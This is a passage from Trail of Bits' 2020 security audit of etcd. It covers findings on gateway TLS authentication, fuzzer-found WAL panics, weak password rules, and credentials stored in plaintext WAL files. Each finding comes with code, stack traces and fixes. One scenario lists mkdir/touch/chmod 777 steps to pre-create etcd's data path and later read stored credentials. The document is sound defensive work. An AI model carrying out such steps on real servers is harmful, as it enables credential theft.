identified\n \nin DNS \nSRV\n\n records for a given domain, which occurs in the \ndiscoverEndpoints\n\n function.\n \nNo authentication is performed against endpoints provided in the \n--endpoints\n\n flag.\n \n \n \nsrvs \n\n:=\n\n \n\ndiscoverEndpoints\n\n(lg, gatewayDNSCluster, gatewayCA, gatewayInsecureDiscovery,\n \ngatewayDNSClusterServiceName)\n \nif\n\n \n\nlen\n\n(srvs.Endpoints) == \n\n0\n\n {\n \n// no endpoints discovered, fall back to provided endpoints\n \nsrvs.Endpoints = gatewayEndpoints\n \n}\n \nFigure TOB-ETCD-004.1: A snippet of the \nstartGateway\n\n function definition\n \n(\netcdmain/gateway.go#L102-L106\n\n).\n \n \nExploit Scenario\n \nThe etcd gateway is configured with HTTPS-formatted endpoints. However, no\n \nauthentication of these endpoints is performed using the certificate provided by the\n \ncertificate authority; thus, TLS is not properly enforced.\n \n \nRecommendation\n \nShort term, ensure TLS authentication is applied to endpoints provided in the \n--endpoints\n \nflag on the etcd gateway. This will ensure consistent functionality across both endpoint\n \ndiscovery methods.\n \n \nLong term, ensure TLS connections are always used for gateway endpoints where the\n \nprotocol schema is HTTPS. This will force a fast failure for an endpoint that cannot\n \nsuccessfully authenticate with the gateway, and ensure the client only connects to an\n \nauthenticated backend.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 20\n \n 5 . T O C T O U o f g a t e w a y e n d p o i n t a u t h e n t i c a t i o n\n \nSeverity: Low\nDifficulty: Low\n \nType: Authentication\nFinding ID: TOB-ETCD-005\n \nTarget: \netcdmain/gateway.go\n \n \nDescription\n \nThe gateway only authenticates endpoints detected from DNS SRV records as documented\n \nin \nTOB-ETCD-004: Gateway TLS authentication only applies to endpoints detected in DNS\n \nSRV records\n, and it only authenticates the detected endpoints once. Therefore, if an\n \nendpoint changes its authentication settings, the gateway will continue to assume the\n \nendpoint is still authenticated.\n \n \nExploit Scenario\n \nAn attacker compromises an etcd gateway endpoint and subsequently modifies the\n \nauthentication settings. Because the gateway does not enforce authentication upon each\n \nattempted connection, a misconfigured client may connect to the unauthenticated\n \nendpoint and request attacker-controlled values.\n \n \nRecommendation\n \nShort term, authenticate each endpoint using the provided CA certificate upon each\n \nconnection established by the etcd gateway. This will help prevent any endpoint that’s only\n \nbeen authenticated once from being trusted.\n \n \nLong term, consider implementing periodic endpoint validation to ensure all specified\n \nendpoints are not only reachable, but also authenticated. This will allow proactive detection\n \nof unhealthy endpoints, as well as those no longer able to successfully authenticate with\n \nthe given configuration.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 21\n \n 6 . A n e n t r y w i t h l a r g e i n d e x c a u s e s p a n i c i n W A L . R e a d A l l m e t h o d\n \nSeverity: Medium\nDifficulty: High\n \nType: Data Validation\nFinding ID: TOB-ETCD-006\n \nTarget: \nwal/wal.go\n \n \nDescription\n \nAfter a record’s data is successfully unmarshalled, it is possible to have an entry index,\n \ne.index\n\n, greater then the number of entries in \nents\n\n. Furthermore, \ne.index\n\n could be\n \nmath.MaxInt64\n\n while \nw.start.index\n\n could be \n0\n\n. This could cause issues when WAL entries\n \nare being read during consensus as an arbitrary etcd consensus participant could go down\n \nfrom a runtime panic when reading the entry.\n \n \nfunc\n\n \n\n(\n\nw\n\n *\n\nWAL\n\n) ReadAll\n\n() (\n\nmetadata\n\n []\n\nbyte\n\n, \n\nstate\n\n \n\nraftpb\n\n.\n\nHardState\n\n, \n\nents\n\n []\n\nraftpb\n\n.\n\nEntry\n\n, \n\nerr\n \nerror\n\n) {\n \nw.mu.\n\nLock\n\n()\n \ndefer\n\n w.mu.\n\nUnlock\n\n()\n \n \nrec \n\n:=\n\n &walpb.Record{}\n \ndecoder \n\n:=\n\n w.decoder\n \n \nvar\n\n match \n\nbool\n \nfor\n\n err = decoder.\n\ndecode\n\n(rec); err == \n\nnil\n\n; err = decoder.\n\ndecode\n\n(rec) {\n \nswitch\n\n rec.Type {\n \ncase\n\n entryType:\n \ne \n\n:=\n\n \n\nmustUnmarshalEntry\n\n(rec.Data)\n \nif\n\n e.Index > w.start.Index {\n \nents = \n\nappend\n\n(ents[:e.Index-w.start.Index-\n\n1\n\n], e)\n \n}\n \nw.enti = e.Index\n \nFigure TOB-ETCD-006.1: A snippet of the \nReadAll\n\n function in the \nentryType\n\n case, where the\n \nents\n\n slice is indexed with a large integer, leading to a panic (\nwal/wal.go#L423-L438\n\n).\n \n \nA WAL entry that caused the following runtime panic was produced. Notice how the\n \ne.index\n\n and \nw.start.Index\n\n satisfy the “greater than” check. However, when\n \n13038096702221461993 - 0 - 1\n\n evaluates to an upper bound of \n13038096702221461992,\n \nthe slice fails on the premise of being too large.\n \n \n2020-01-28 16:55:53.987278 I | wal: test10\n \n2020-01-28 16:55:54.032191 I | wal: e.Index: 13038096702221461993\n \n2020-01-28 16:55:54.032248 I | wal: w.start.Index: 0\n \npanic: runtime error: slice bounds out of range [:13038096702221461992] with capacity 0\n \ngoroutine 1 [running]:\n \ngo.etcd.io/etcd/wal.(*WAL).ReadAll(0xc0000de2a0, 0xc0000ae688, 0x4, 0x8, 0x0, 0x0, 0x0, 0x0,\n \n0x0, 0x0, ...)\n \n/.../go.etcd.io/etcd/wal/wal.go:439 +0x1121\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 22\n \n go.etcd.io/etcd/wal.FuzzRecover()\n \n/.../go.etcd.i/etcd/wal/wal_fuzzer.go:592 +0x77e\n \ngo.etcd.io/etcd/wal.FuzzStep()\n \n/.../go.etcd.io/etcd/wal/wal_fuzzer.go:1067 +0x48d\n \ngo.etcd.io/etcd/wal.FuzzWal()\n \n/.../go.etcd.io/etcd/wal/wal_fuzzer.go:1090 +0x8b\n \nmain.main()\n \n/.../go.etcd.io/etcd/fuzz.go:10 +0x20\n \nFigure TOB-ETCD-006.2: Trace of the triggered panic.\n \n \nExploit Scenario\n \nA RAFT participant receives a corrupted WAL from a compromised leader after an election.\n \nThe participant subsequently \npanic\n\ns when the metadata is being parsed, which causes the\n \nparticipant to crash. A participant could also \npanic\n\n on reading RAFT state from a WAL with\n \nthis error.\n \n \nRecommendation\n \nShort term, ensure proper size checks on the final \ne.Index-w.start.Index-1\n\n in each WAL\n \nentry, and gracefully error if the size is too large for the given slice. This will prevent a hard\n \ncrash if an invalid WAL entry is encountered.\n \n \nLong term, restructure WALs to be limited by entry index \nand\n size instead of size alone. This\n \nwill help prevent mutated entries from inducing a panic when parsing the WAL.\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 23\n \n 7 . A l a r g e s l i c e c a u s e s p a n i c i n d e c o d e R e c o r d m e t h o d\n \nSeverity: Medium\nDifficulty: High\n \nType: Data Validation\nFinding ID: TOB-ETCD-007\n \nTarget: \nwal/decoder.go\n \n \nDescription\n \nThe size of a record is stored in the length field of a WAL file, and no additional validation is\n \ndone on this data. Therefore, it is possible to forge an extremely large frame size—so large,\n \nin fact, that the \ndata := make([]byte, recBytes+padBytes)\n\n can unintentionally panic at\n \nthe expense of any RAFT participant trying to decode the WAL.\n \n \nfunc\n\n \n\n(\n\nd\n\n *\n\ndecoder\n\n) decodeRecord\n\n(\n\nrec\n\n *\n\nwalpb\n\n.\n\nRecord\n\n) \n\nerror\n\n {\n \nif\n\n \n\nlen\n\n(d.brs) == \n\n0\n\n {\n \nreturn\n\n io.EOF\n \n}\n \n \nl, err \n\n:=\n\n \n\nreadInt64\n\n(d.brs[\n\n0\n\n])\n \nif\n\n err == io.EOF || (err == \n\nnil\n\n && l == \n\n0\n\n) {\n \n// hit end of file or preallocated space\n \nd.brs = d.brs[\n\n1\n\n:]\n \nif\n\n \n\nlen\n\n(d.brs) == \n\n0\n\n {\n \nreturn\n\n io.EOF\n \n}\n \nd.lastValidOff = \n\n0\n \nreturn\n\n d.\n\ndecodeRecord\n\n(rec)\n \n}\n \nif\n\n err != \n\nnil\n\n {\n \nreturn\n\n err\n \n}\n \n \nrecBytes, padBytes \n\n:=\n\n \n\ndecodeFrameSize\n\n(l)\n \n \ndata \n\n:=\n\n \n\nmake\n\n([]\n\nbyte\n\n, recBytes+padBytes)\n \nFigure TOB-ETCD-007.1: A snippet of the \ndecodeRecord\n\n \nmethod with vulnerable \nmake\n\n call\n \n \n(\nwal/decoder.go#L62-L83\n\n).\n \n \nA WAL file that was generated during fuzzing produced the following panic. Notice the\n \nruntime error that was caused by attempting to create a \n[]byt\n\ne slice the size of \nrecBytes\n \n+ padBytes\n\n after decoding the frame size from the length data.\n \n \npanic: runtime error: makeslice: len out of range\n \n \ngoroutine 1 [running]:\n \n \ngo.etcd.io/etcd/wal.(*decoder).decodeRecord(0xc00006a040, 0xc000103d18,\n \n0xc000103c30, 0x41a2a7)\n \n/.../go.etcd.io/etcd/wal/decoder.go:83 +0x21e\n \n \ngo.etcd.io/etcd/wal.(*decoder).decode(0xc00006a040, 0xc000103d18, 0x0, 0x0)\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 24\n \n /.../go.etcd.io/etcd/wal/decoder.go:59 +0xa7\n \n \ngo.etcd.io/etcd/wal.(*WAL).ReadAll(0xc000154000, 0x0, 0x0, 0x0, 0x0, 0x0,\n \n0x0, 0x0, 0x0, 0x0, ...)\n \n/.../go.etcd.io/etcd/wal/wal.go:431 +0x14b\n \n \ngo.etcd.io/etcd/wal.CovFuzz(0x0, 0x0, 0x0, 0x1)\n \n/.../go.etcd.io/etcd/wal/wal_covfuzzer.go:31 +0x171\n \nmain.main()\n \n /.../go.etcd.io/etcd/fuzz.go:31 +0xd6\n \nProcess finished with exit code 2\n \nFigure TOB-ETCD-007.2: Trace of the panic being triggered.\n \n \n \nExploit Scenario\n \nThe exact same exploit scenario from \nTOB-ETCD-006\n can be applied to this vulnerability.\n \nHowever, in this case, any method trying to decode WAL data is vulnerable to this \npanic\n\n.\n \nThe issue could arise from a malicious leader forging the size in their own WAL record.\n \n \nRecommendation\n \nShort term, provide a size check on the \ndecodeRecord\n\n method and gracefully exit if the\n \nframe size is larger than the maximum slice length. This will prevent crashing due to\n \nout-of-bounds indexing of the allocated array if the WAL entry has been mutated.\n \n \nLong term, consider building a method to identify expected ranges for valid values into the\n \nformat for the WAL. This will assist additional validations of the WAL file, allowing the\n \ndetection of corruption or manipulation.\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 25\n \n 8 . N o m i n i m u m p a s s w o r d l e n g t h\n \nSeverity: Medium\nDifficulty: Low\n \nType: Access Control\nFinding ID: TOB-ETCD-008\n \nTarget: \nauth/store.go\n\n, \nUserAdd\n\n function\n \n \nDescription\n \netcd does not perform any password length validation, which allows for very short\n \npasswords, such as those with a length of one. This may allow an attacker to guess or\n \nbrute-force users’ passwords with little computational effort.\n \n \nExploit Scenario\n \nAlice sets her etcd user password to four characters. Eve, who can connect to the etcd\n \ncluster, brute-forces Alice’s password and successfully authenticates.\n \n \nRecommendation\n \nShort term, consider improving the password requirements to a higher minimum character\n \namount. This will make it harder for an attacker to brute-force authentication of an etcd\n \nuser.\n \n \nLong term, consider adopting a specific standard for password requirements, such as NIST\n \nSP 800-204, and enforce it across the codebase.\n \n \n \nReferences\n \n●\nNIST SP 800-204\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 26\n \n 9 . I n a c c u r a t e l o g g i n g o f a u t h e n t i c a t i o n a t t e m p t s f o r u s e r s w i t h C N - b a s e d\n \na u t h o n l y\n \nSeverity: Low\nDifficulty: Undetermined\n \nType: Logging\nFinding ID: TOB-ETCD-009\n \nTarget: \netcdserver/v3_server.go\n \n \nDescription\n \netcd users who have no password can authenticate only through a client certificate. When\n \nsuch users try to authenticate into etcd using the \nAuthenticate\n\n endpoint (Figure\n \nTOB-ETCD-009.2), the errors in Figure TOB-ETCD-009.1 are logged.\n \n \n2020-02-01 17:35:04.368034 E | etcdserver: invalid authentication request to user root was\n \nissued\n \n2020-02-01 17:38:09.967097 N | auth: authentication failed, invalid password for user root\n \nFigure TOB-ETCD-009.1: Errors logged when trying to authenticate as a user with no password.\n \n \nThese logs provide insufficient information regarding why the authentication failed, and\n \nmay be misleading when auditing etcd logs.\n \n \nfunc\n\n \n\n(\n\ns\n\n *\n\nEtcdServer\n\n) Authenticate\n\n(\n\nctx\n\n \n\ncontext\n\n.\n\nContext\n\n, \n\nr\n\n *\n\npb\n\n.\n\nAuthenticateRequest\n\n)\n \n(*\n\npb\n\n.\n\nAuthenticateResponse\n\n, \n\nerror\n\n) {\n \n \n\n// (...)\n \n checkedRevision, err \n\n:=\n\n s.\n\nAuthStore\n\n().\n\nCheckPassword\n\n(r.Name, r.Password)\n \n \n\nif\n\n err != \n\nnil\n\n {\n \n \n\nif\n\n err != auth.ErrAuthNotEnabled {\n \n \n\nif\n\n lg != \n\nnil\n\n {\n \n lg.\n\nWarn\n\n(\n \n \n\n\"invalid authentication was requested\"\n\n,\n \n zap.\n\nString\n\n(\n\n\"user\"\n\n, r.Name),\n \n zap.\n\nError\n\n(err),\n \n )\n \n } \n\nelse\n\n {\n \n plog.\n\nErrorf\n\n(\n\n\"invalid authentication request to user \n\n%s\n\n was issued\"\n\n, r.Name)\n \n }\n \nFigure TOB-ETCD-009.2: The \nAuthenticate\n\n endpoint function\n \n(\netcdserver/v3_server.go#L410-L421\n\n).\n \n \nA user with no password can be created with the \netcdctl user add \n \n--no-password\n\n command and the authentication request can be performed with the\n \ncommand in Figure TOB-ETCD-009.3.\n \n \ncurl -X POST http://127.0.0.1:2379/v3/auth/authenticate --data '{\"name\":\n \n\"\", \"password\": \"\"}'\n \nFigure TOB-ETCD-009.3: a \ncurl\n\n command of authentication without a password.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 27\n \n Note that this requires authentication to be enabled, which can be done with the \netcdctl\n \nauth enable\n\n command.\n \n \nRecommendation\n \nShort term, ensure an appropriate error is logged when an authentication attempt has\n \nfailed due to a client certificate authentication. Ideally, each authentication method should\n \ngenerate unique log entries to allow operators to differentiate interactions.\n \n \nLong term, validate whether all significant program paths are logged distinguishably and\n \ndocumented appropriately. This will help ensure proper logging, and detections can be\n \nbuilt on each authentication method.\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 28\n \n 1 0 . T h e “ T o t a l n u m b e r o f d b k e y s c o m p a c t e d ” m e t r i c i s n e v e r c h a n g e d\n \nSeverity: Informational\nDifficulty: Undetermined\n \nType: Logging\nFinding ID: TOB-ETCD-010\n \nTarget: \nmvcc/kvstore_compaction.go, mvcc/metrics.go\n \n \nDescription\n \nThe \ndbCompactionKeysCounter\n\n (Figure TOB-ETCD-010.1) never changes. This counter is\n \nsupposed to be increased by the \nkeyCompactions\n\n value in the \nscheduleCompaction\n \nfunction (Figure TOB-ETCD-010.2) but the \nkeyCompactions\n\n value never changes in that\n \nfunction. This can be misleading when debugging or auditing etcd.\n \n \ndbCompactionKeysCounter = prometheus.\n\nNewCounter\n\n(\n \n \n \nprometheus.CounterOpts{\n \n \n \nNamespace\n\n: \n\n\"etcd_debugging\"\n\n,\n \n \n \nSubsystem\n\n: \n\n\"mvcc\"\n\n,\n \n \n \nName\n\n: \n\n\"db_compaction_keys_total\"\n\n,\n \n \n \nHelp\n\n: \n\n\"Total number of db keys compacted.\"\n\n,\n \n \n \n})\n \nFigure TOB-ETCD-010.1: The \ndbCompactionKeysCounter\n\n counter\n \n(\nmvcc/metrics.go#L170-L176\n\n).\n \n \nfunc\n\n (\n\ns\n\n *\n\nstore\n\n) \n\nscheduleCompaction\n\n(compactMainRev int64, keep map[revision]struct{}) \n\nbool\n\n {\n \n totalStart \n\n:=\n\n time.\n\nNow\n\n()\n \n \n\n// (...)\n \n keyCompactions \n\n:=\n\n \n\n0\n \n \n\ndefer\n\n \n\nfunc\n\n() { dbCompactionKeysCounter.\n\nAdd\n\n(\n\nfloat64\n\n(keyCompactions)) }()\n \nFigure TOB-ETCD-010.2: The \nscheduleCompaction\n\n function\n \n(\nmvcc/kvstore_compaction.go#L27-L28\n\n).\n \n \nRecommendation\n \nShort term, ensure the \ndbCompactionKeysCounter\n\n variable properly represents the etcd\n \noperations that have occurred. This will help ensure the users can properly track and alert\n \non metrics.\n \n \nLong term, expand unit tests to include testing metrics endpoints to ensure changes to the\n \nmetrics endpoints still produce the expected behavior. This will prevent future introduction\n \nof breaking changes and ensure the stability of loggable metrics.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 29\n \n 1 1 . A u t o c o m p a c t i o n r e t e n t i o n c a n b e s e t t o n e g a t i v e v a l u e c a u s i n g a\n \nc o m p a c t i o n l o o p o r a c r a s h\n \nSeverity: Low\nDifficulty: Undetermined\n \nType: Data Validation\nFinding ID: TOB-ETCD-011\n \nTarget: Automatic history compaction\n \n \nDescription\n \nThe \nparseCompactionRetention\n\n function (Figure TOB-ETCD-011.1) parses a \nretention\n \nstring with \nstrconv.Atoi\n\n function and casts the result to \nint64\n\n to create a \ntime.Duration\n \ninstance. This scheme allows the value to be negative and causes the node to execute the\n \nhistory compaction in a loop, taking more CPU than usual and spamming logs.\n \n \nfunc\n\n \n\nparseCompactionRetention\n\n(\n\nmode\n\n, \n\nretention\n\n \n\nstring\n\n) (\n\nret\n\n \n\ntime\n\n.\n\nDuration\n\n, \n\nerr\n\n \n\nerror\n\n) {\n \n \n \nh, err \n\n:=\n\n strconv.\n\nAtoi\n\n(retention)\n \n \n \nif\n\n err == \n\nnil\n\n {\n \n \n \nswitch\n\n mode {\n \n \n \ncase\n\n CompactorModeRevision:\n \n \n \nret = time.\n\nDuration\n\n(\n\nint64\n\n(h))\n \n \n \ncase\n\n CompactorModePeriodic:\n \n \n \nret = time.\n\nDuration\n\n(\n\nint64\n\n(h)) * time.Hour\n \nFigure TOB-ETCD-011.1: The \nparseCompactionRetention\n\n function\n \n(\nembed/etcd.go#L812-L819\n\n).\n \n \nSee the auto-compaction example in Figure TOB-ETCD-011.2.\n \n \n$ ./bin/etcd --auto-compaction-retention=-1\n \n \n# (...) - etcd initialisation logs\n \n \n2020-02-02 00:23:57.320788 N | compactor: Starting auto-compaction at revision 1 (retention:\n \n-1h0m0s)\n \n2020-02-02 00:23:57.329580 N | compactor: Finished auto-compaction at revision 1\n \n2020-02-02 00:23:57.329790 N | compactor: Starting auto-compaction at revision 1 (retention:\n \n-1h0m0s)\n \n2020-02-02 00:23:57.338759 N | compactor: Finished auto-compaction at revision 1\n \nFigure TOB-ETCD-011.2: Launching etcd with the \n--auto-compaction-retention=-1\n\n flag\n \nmakes its compaction thread execute the auto-compaction all the time.\n \n \nAdditionally, on MacOS/Darwin when a zap logger is set and a negative auto compaction\n \nretention value is passed, the etcd crashes as shown in Figure TOB-ETCD-011.3.\n \n \n$ ./bin/etcd --auto-compaction-retention=-1 --logger=zap\n \n \n# (...) - etcd initialisation logs\n \n \n{\"level\":\"info\",\"ts\":\"2020-02-02T00:29:40.797+0100\",\"caller\":\"v3compactor/periodic.go:135\",\"\nmsg\":\"starting auto periodic compaction\",\"revision\":1,\"compact-period\":\"-1h0m0s\"}\n \npanic: runtime error: invalid memory address or nil pointer dereference\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 30\n \n [signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x1825115]\n \n \ngoroutine 193 [running]:\n \n \ngo.etcd.io/etcd/etcdserver.(*EtcdServer).processInternalRaftRequestOnce(0xc0002bc580,\n \n0x1e70d00, 0xc0001622c0, 0xc00000c040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...)\n \n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/v3_server.go:646 +0x1c5\n \n \ngo.etcd.io/etcd/etcdserver.(*EtcdServer).Compact(0xc0002bc580, 0x1e70d00, 0xc0001622c0,\n \n0xc0000ee070, 0x0, 0x0, 0x0)\n \n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/v3_server.go:208 +0xf1\n \n \ngo.etcd.io/etcd/etcdserver/api/v3compactor.(*Periodic).Run.func1(0xc00016e3f0, 0xb,\n \n0xffffffac2e53f000, 0xfffffcb9cf476000)\n \n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/api/v3compactor/periodic.go:143\n \n+0x53c\n \n \ncreated by go.etcd.io/etcd/etcdserver/api/v3compactor.(*Periodic).Run\n \n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/api/v3compactor/periodic.go:103\n \n+0xb0\n \nFigure TOB-ETCD-011.3: Launching etcd with the \n--auto-compaction-retention=-1\n \n--logger=zap\n\n flags on MacOS makes it crash.\n \n \nExploitation Scenario\n \nAn attacker who can control the auto compaction retention setting sets it to -1 so it keeps\n \ncompacting etcd forever and saving it to logs, filling all disk space and rendering etcd\n \nunable to process properly.\n \n \nRecommendation\n \nShort term, do not accept a negative value of automatic compaction retention. Data\n \nvalidation should ensure the provided values are within the expected range.\n \n \nLong term, account for negative values provided as the auto compaction value. This should\n \nalso be tested within the corresponding \nTestAutoCompactionModeParse\n\n test.\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 31\n \n 1 2 . U s e r c r e d e n t i a l s a r e s t o r e d i n W A L l o g s i n p l a i n t e x t\n \nSeverity: Low\nDifficulty: High\n \nType: Data Exposure\nFinding ID: TOB-ETCD-012\n \nTarget: WAL\n \n \nDescription\n \nUser credentials (login and password) are stored in WAL entries on each user\n \nauthentication. By default, the WAL files have correct permissions, and are only read-write\n \nfor the user who launched etcd, but if the path to the WAL log file has been created by an\n \nattacker, they could potentially read files containing the sensitive information stored by\n \netcd. \nTOB-ETCD-003: Directories created via os.MkdirAll are not checked for permissions\n \nfurther details the semantics behind this problem.\n \n \nThere is also an issue for this bug in \netcd-io/etcd#10132\n.\n \n \nExploitation Scenario\n \nAn attacker is able to create directories on a server where etcd hasn't been launched yet.\n \nThey also create directories in the path where etcd will store its data. The attacker can then:\n \n \n1.\nCreate a fake etcd directory and file structure, and set file permissions so the etcd\n \nserver will be able to write there:\n \nmkdir -p default.etcd/member/wal\n \ntouch default.etcd/member/wal/0000000000000000-0000000000000000.wal\n \nchmod -R 777 default.etcd\n \n2.\nWait until etcd server is launched for the first time, authorization is enabled, and\n \nsome requests are made.\n \n3.\nRead the \ndefault.etcd/member/wal/0000000000000000-0000000000000000.wal\n \nfile which contains credentials.\n \n \nThis scenario exploits the \nTOB-ETCD-003 issue\n.\n \n \nRecommendation\n \nShort term, do not store credentials in the WAL. Instead, consider having a centralized\n \nlocation for credentials that can be hardened appropriately, limiting the attack surface for\n \nsensitive information.\n \n \nLong term, check if permissions of the files used by etcd are within an acceptable range. If\n \nthe permissions are too broad, etcd should exit with an error for further investigation.\n \n \n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 32\n \n \n1 3 . N u l l p o i n t e r e x c e p t i o n w h e n c a l l i n g w a l . R e a d A l l a f t e r w a l . C r e a t e\n \nSeverity: Informational\nDifficulty: Undetermined\n \nType: Data Validation\nFinding ID: TOB-ETCD-013\n \nTarget: \nwal/wal.go\n \n \nDescription\n \nThe \nwal.Create\n\n function creates a WAL object without setting a \ndecoder\n\n field.\n \nSubsequently, when a \nReadAll\n\n method is called on the resulting WAL object which uses the\n \ndecoder\n\n field, a nil pointer dereference is triggered. Since the \nwal.Create\n\n function’s\n \ndocstring suggests that a \nReadAll\n\n operation can be used after creating the object, this\n \nbehavior is counter-intuitive and may introduce unexpected failures if such a flow is used in\n \nthe future. Both functions appear in Figure TOB-ETCD-013.1.\n \n \n// Create creates a WAL ready for appending records. The given metadata is\n \n// recorded at the head of each WAL file, and can be retrieved with ReadAll.\n \nfunc\n\n \n\nCreate\n\n(\n\nlg\n\n *\n\nzap\n\n.\n\nLogger\n\n, \n\ndirpath\n\n \n\nstring\n\n, \n\nmetadata\n\n []\n\nbyte\n\n) (*\n\nWAL\n\n, \n\nerror\n\n) { \n\n/* (...) */ \n\n}\n \n \nfunc\n\n \n\n(\n\nw\n\n *\n\nWAL\n\n) ReadAll\n\n() (\n\nmetadata\n\n []\n\nbyte\n\n, \n\nstate\n\n \n\nraftpb\n\n.\n\nHardState\n\n, \n\nents\n\n []\n\nraftpb\n\n.\n\nEntry\n\n, \n\nerr\n \nerror\n\n) {\n \nw.mu.\n\nLock\n\n()\n \ndefer\n\n w.mu.\n\nUnlock\n\n()\n \n \nrec \n\n:=\n\n &walpb.Record{}\n \ndecoder \n\n:=\n\n w.decoder\n \n \nvar\n\n match \n\nbool\n \nfor\n\n err = \n\ndecoder.\n\ndecode\n\n(rec); err == \n\nnil\n\n; err = decoder.\n\ndecode\n\n(rec) {\n \nFigure TOB-ETCD-013.1: The \nCreate\n\n (\nwal/wal.go#L95-L497\n\n) and \nReadAll\n\n functions\n \n(\nwal/wal.go#L423-L431\n\n).\n \n \nWhen the following issue occurs, a nil dereference triggers the panic. This issue was found\n \nduring the unit test fuzzing referenced in the \nAppendix C. Fuzzing results\n.\n \n \npanic: runtime error: invalid memory address or nil pointer dereference\n \n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x83f129]\n \n \ngoroutine 1 [running]:\n \nsync.(*Mutex).Lock(...)\n \n /usr/local/go/src/sync/mutex.go:74\n \ngo.etcd.io/etcd/wal.(*decoder).decode(0x0, 0xc0003b3d50, 0x0, 0x0)\n \n \n/home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/wal/decoder.go:57\n \n+0x59\n \ngo.etcd.io/etcd/wal.(*WAL).ReadAll(0xc0000de2a0, 0x0, 0x0, 0x0, 0x0, 0x0,\n \n0x0, 0x0, 0x0, 0x0, ...)\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 33\n \n \n/home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/wal/wal.go:431 +0x151\n \ngo.etcd.io/etcd/wal.GenCorpus()\n \n \n/home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/wal/wal_gen.go:62\n \n+0x3fe\n \nmain.main()\n \n /home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/fuzz.go:20\n \n+0x20\n \n \nProcess finished with exit code 2\n \nFigure TOB-ETCD-013.2: Nil dereference panic traceback.\n \n \nExploitation Scenario\n \nA developer implements a new function or unit-test assuming the API supports the\n \nsubsequent creation and reading of records. This causes unexpected failures.\n \n \nRecommendation\n \nShort term, initialize a decoder in the \nwal.Create\n\n function, so the \nWAL\n\n may decode\n \ninformation in the \nwal.ReadAll\n\n function. This will prevent users from encountering an\n \nerror due to an uninitialized decoder.\n \n \nLong term, check if the WAL has its decoder field set when it is going to be used, or refactor\n \nthe API to have a single function that creates a fully initialized WAL object.\n \n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 34\n \n 1 4 . S u b m i t t i n g a - 1 f o r c l u s t e r n o d e s i z e r e s u l t s i n a n i n d e x o u t - o f - b o u n d\n \np a n i c d u r i n g s e r v i c e d i s c o v e r y\n \nSeverity: Low\nDifficulty: Undetermined\n \nType: Data Validation\nFinding ID: TOB-ETCD-014\n \nTarget: Service discovery\n \n \nDescription\n \nWhen an etcd instance attempts to perform service discovery, if a cluster size of -1 is\n \nprovided, the etcd instance will panic without recovery.\n \n \nThis \npanic\n\n occurs because the etcd instance retrieves a value from a remote key-value\n \nstore (e.g. an existing etcd instance or cluster) where the value is stored as a string. To\n \nconvert the string to an integer, \nstrconv.Atoi\n\n is used (Figure TOB-ETCD-014.1), which\n \nreturns an \nint\n\n. Because an \nint\n\n can be negative, a lack of validation results in this value\n \nindexing a slice. This in turn creates an index out-of-bounds panic (Figure TOB-ETCD-014.2)\n \nuntil other etcd instances are discoverable (Figure TOB-ETCD-014.3).\n \n \nsize, err \n\n:=\n\n strconv.\n\nAtoi\n\n(resp.Node.Value)\n \nif\n\n err != \n\nnil\n\n {\n \nreturn\n\n \n\nnil\n\n, \n\n0\n\n, \n\n0\n\n, \n\nErrBadSizeKey\n \n}\n \nFigure TOB-ETCD-014.1: The use of \nstrconv.Atoi\n\n without validating the parsed integer beyond\n \nwhether an error occurred during conversion\n \n(\netcdserver/api/v2discovery/discovery.go#L250-L253\n\n).\n \n \npanic: runtime error: slice bounds out of range [:-1]\n \ngoroutine 1 [running]:\n \ngo.etcd.io/etcd/etcdserver/api/v2discovery.(*discovery).waitNodes(0xc000294\n6e0, 0xc000010210, 0x1, 0x1, 0xffffffffffffffff, 0xb, 0x0, 0x0, 0x0, 0x0,\n \n...)\n \n/.../etcdserver/api/v2discovery/discovery.go:341 +0x1bf6\n \ngo.etcd.io/etcd/etcdserver/api/v2discovery.(*discovery).joinCluster(0xc0002\n946e0, 0xc0002cd040, 0x1d, 0x0, 0x0, 0x0, 0x0)\n \n/.../etcdserver/api/v2discovery/discovery.go:180 +0x2f6\n \ngo.etcd.io/etcd/etcdserver/api/v2discovery.JoinCluster(0x0, 0x7ffeefbff5de,\n \n0x54, 0x0, 0x0, 0x561d867318552b53, 0xc0002cd040, 0x1d, 0x0, 0x0, ...)\n \n/.../etcdserver/api/v2discovery/discovery.go:68 +0x16d\n \ngo.etcd.io/etcd/etcdserver.NewServer(0x20a4b58, 0x7, 0x7ffeefbff5de, 0x54,\n \n0x0, 0x0, 0xc0001cad80, 0x1, 0x1, 0xc0001caa80, ...)\n \n/.../etcdserver/server.go:389 +0x4148\n \ngo.etcd.io/etcd/embed.StartEtcd(0xc0001a5080, 0xc0001a5600, 0x0, 0x0)\n 